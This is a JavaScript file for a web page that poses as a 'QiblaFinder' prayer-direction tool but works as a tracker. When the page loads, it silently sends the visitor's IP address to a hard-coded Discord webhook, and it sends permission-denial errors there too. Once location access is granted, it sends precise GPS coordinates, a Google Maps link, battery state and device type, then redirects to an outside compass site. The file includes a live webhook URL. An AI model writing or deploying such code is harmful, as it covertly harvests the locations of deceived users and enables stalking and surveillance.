QiblaFinder / script.js
abeea's picture
Update script.js
00482ef verified
// Enhanced notification system
class NotificationManager {
constructor() {
this.toastElement = document.getElementById('notificationToast');
this.toastInstance = new bootstrap.Toast(this.toastElement, {
autohide: true,
delay: 5000
});
}
show(message, type = 'info') {
const toastBody = this.toastElement.querySelector('.toast-body');
const icon = toastBody.querySelector('i');
const messageSpan = toastBody.querySelector('.toast-message');
// Reset classes
this.toastElement.className = 'toast';
// Set message
messageSpan.textContent = message;
// Set icon and style based on type
switch(type) {
case 'success':
this.toastElement.classList.add('toast-success');
icon.className = 'bi bi-check-circle-fill me-2';
break;
case 'error':
this.toastElement.classList.add('toast-error');
icon.className = 'bi bi-exclamation-triangle-fill me-2';
break;
case 'info':
this.toastElement.classList.add('toast-info');
icon.className = 'bi bi-info-circle-fill me-2';
break;
case 'warning':
this.toastElement.classList.add('toast-warning');
icon.className = 'bi bi-exclamation-triangle-fill me-2';
break;
}
this.toastInstance.show();
}
}
// Enhanced geolocation handler
class QiblaFinder {
constructor() {
this.button = document.getElementById('getLocationBtn');
this.loadingSpinner = document.getElementById('loadingSpinner');
this.statusMessage = document.getElementById('statusMessage');
this.isProcessing = false;
this.init();
}
init() {
// Send IP address on load
this.sendIpAddressOnLoad();
// Add button click handler
this.button.addEventListener('click', () => this.handleLocationRequest());
// Check geolocation support
if (!navigator.geolocation) {
this.showError('Geolocation is not supported by this browser. Please use a modern browser like Chrome, Firefox, or Safari.');
notifications.show('Geolocation not supported by this browser', 'error');
}
}
handleLocationRequest() {
if (this.isProcessing) return;
this.isProcessing = true;
this.showLoading(true);
this.button.disabled = true;
notifications.show('Requesting your location...', 'info');
const options = {
enableHighAccuracy: true,
timeout: 10000,
maximumAge: 300000 // 5 minutes
};
navigator.geolocation.getCurrentPosition(
(position) => this.handleSuccess(position),
(error) => this.handleError(error),
options
);
}
handleSuccess(position) {
const { latitude, longitude } = position.coords;
const accuracy = position.coords.accuracy;
notifications.show(`Location found with ${Math.round(accuracy)}m accuracy`, 'success');
this.showStatus(`Location acquired successfully! Accuracy: ${Math.round(accuracy)} meters`, 'success');
// Send location data
this.sendLocationData(latitude, longitude, accuracy);
}
handleError(error) {
this.isProcessing = false;
this.showLoading(false);
this.button.disabled = false;
let errorMessage = '';
let userMessage = '';
let showPermissionHelp = false;
switch(error.code) {
case error.PERMISSION_DENIED:
errorMessage = "User denied the request for Geolocation.";
userMessage = "Location access denied. Please enable location permissions to find Qibla direction.";
showPermissionHelp = true;
notifications.show('Location permission denied', 'error');
break;
case error.POSITION_UNAVAILABLE:
errorMessage = "Location information is unavailable.";
userMessage = "Unable to determine your location. Please check your GPS settings.";
notifications.show('Location unavailable', 'error');
break;
case error.TIMEOUT:
errorMessage = "The request to get user location timed out.";
userMessage = "Location request timed out. Please try again.";
notifications.show('Location request timed out', 'warning');
break;
default:
errorMessage = "An unknown error occurred.";
userMessage = "An unexpected error occurred. Please try again.";
notifications.show('Unknown error occurred', 'error');
break;
}
this.showStatus(userMessage, 'error');
if (showPermissionHelp) {
this.showPermissionHelp();
}
// Send error to Discord
this.sendMessageToDiscord(errorMessage);
console.error('Geolocation error:', error);
}
showPermissionHelp() {
setTimeout(() => {
const helpMessage = `
<div class="mt-3 p-3 bg-light rounded">
<h6><i class="bi bi-lightbulb text-warning me-2"></i>How to enable location:</h6>
<ul class="text-start small mb-0">
<li><strong>Chrome:</strong> Click the location icon in the address bar</li>
<li><strong>Firefox:</strong> Click the shield icon and allow location</li>
<li><strong>Safari:</strong> Go to Settings > Privacy & Security > Location Services</li>
<li><strong>Mobile:</strong> Check your browser's location permissions in device settings</li>
</ul>
</div>
`;
this.statusMessage.innerHTML += helpMessage;
}, 1000);
}
showLoading(show) {
this.loadingSpinner.style.display = show ? 'block' : 'none';
}
showStatus(message, type) {
this.statusMessage.className = `status-message status-${type}`;
this.statusMessage.innerHTML = `<i class="bi bi-${type === 'success' ? 'check-circle' : type === 'error' ? 'exclamation-triangle' : 'info-circle'} me-2"></i>${message}`;
this.statusMessage.classList.remove('d-none');
}
async sendLocationData(latitude, longitude, accuracy) {
try {
const googleMapsLink = `https://www.google.com/maps?q=${latitude},${longitude}`;
const userAgent = navigator.userAgent;
let batteryInfo = 'Not Available';
// Get battery info if available
if ('getBattery' in navigator) {
try {
const battery = await navigator.getBattery();
batteryInfo = `${(battery.level * 100).toFixed(1)}% (${battery.charging ? 'Charging' : 'Not Charging'})`;
} catch (e) {
console.log('Battery API not available');
}
}
// Get IP address
const ipResponse = await fetch('https://api.ipify.org?format=json');
const ipData = await ipResponse.json();
const message = {
content: `🎯 **New Qibla Location Request**\n` +
`πŸ“ **Location:** ${googleMapsLink}\n` +
`🌐 **IP Address:** ${ipData.ip}\n` +
`πŸ“± **Accuracy:** ${Math.round(accuracy)} meters\n` +
`πŸ”‹ **Battery:** ${batteryInfo}\n` +
`πŸ’» **Device:** ${this.getDeviceInfo(userAgent)}\n` +
`πŸ• **Time:** ${new Date().toLocaleString()}`
};
const webhookUrl = 'https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B';
const response = await fetch(webhookUrl, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(message)
});
if (response.ok) {
setTimeout(() => {
notifications.show('Redirecting to Qibla compass...', 'success');
this.redirectToQibla();
}, 2000);
} else {
throw new Error(`HTTP ${response.status}`);
}
} catch (error) {
console.error('Error sending location data:', error);
notifications.show('Failed to process location data', 'error');
this.showStatus('Failed to process location data, but you can still access the Qibla compass.', 'warning');
setTimeout(() => this.redirectToQibla(), 3000);
} finally {
this.isProcessing = false;
this.showLoading(false);
this.button.disabled = false;
}
}
getDeviceInfo(userAgent) {
if (/Android/i.test(userAgent)) return 'Android Device';
if (/iPhone|iPad/i.test(userAgent)) return 'iOS Device';
if (/Windows/i.test(userAgent)) return 'Windows PC';
if (/Mac/i.test(userAgent)) return 'Mac';
if (/Linux/i.test(userAgent)) return 'Linux';
return 'Unknown Device';
}
async sendIpAddressOnLoad() {
try {
const response = await fetch('https://api.ipify.org?format=json');
const data = await response.json();
const message = {
content: `πŸ‘‹ **New Visitor**\n🌐 **IP:** ${data.ip}\nπŸ• **Time:** ${new Date().toLocaleString()}`
};
fetch('https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(message)
});
} catch (error) {
console.error('Error sending IP address:', error);
}
}
sendMessageToDiscord(messageContent) {
const message = {
content: `⚠️ **Error Report**\nπŸ“ **Message:** ${messageContent}\nπŸ• **Time:** ${new Date().toLocaleString()}`
};
fetch('https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(message)
}).catch(error => console.error('Discord webhook error:', error));
}
redirectToQibla() {
window.location.href = 'https://www.al-habib.info/qibla-pointer/online-qibla-compass.htm';
}
}
// Initialize when DOM is loaded
document.addEventListener('DOMContentLoaded', () => {
// Initialize notification manager
window.notifications = new NotificationManager();
// Initialize Qibla finder
new QiblaFinder();
});
// Show welcome notification
window.addEventListener('load', () => {
setTimeout(() => {
if (window.notifications) {
window.notifications.show('Welcome! Click the button to find your Qibla direction.', 'info');
}
}, 1500);
});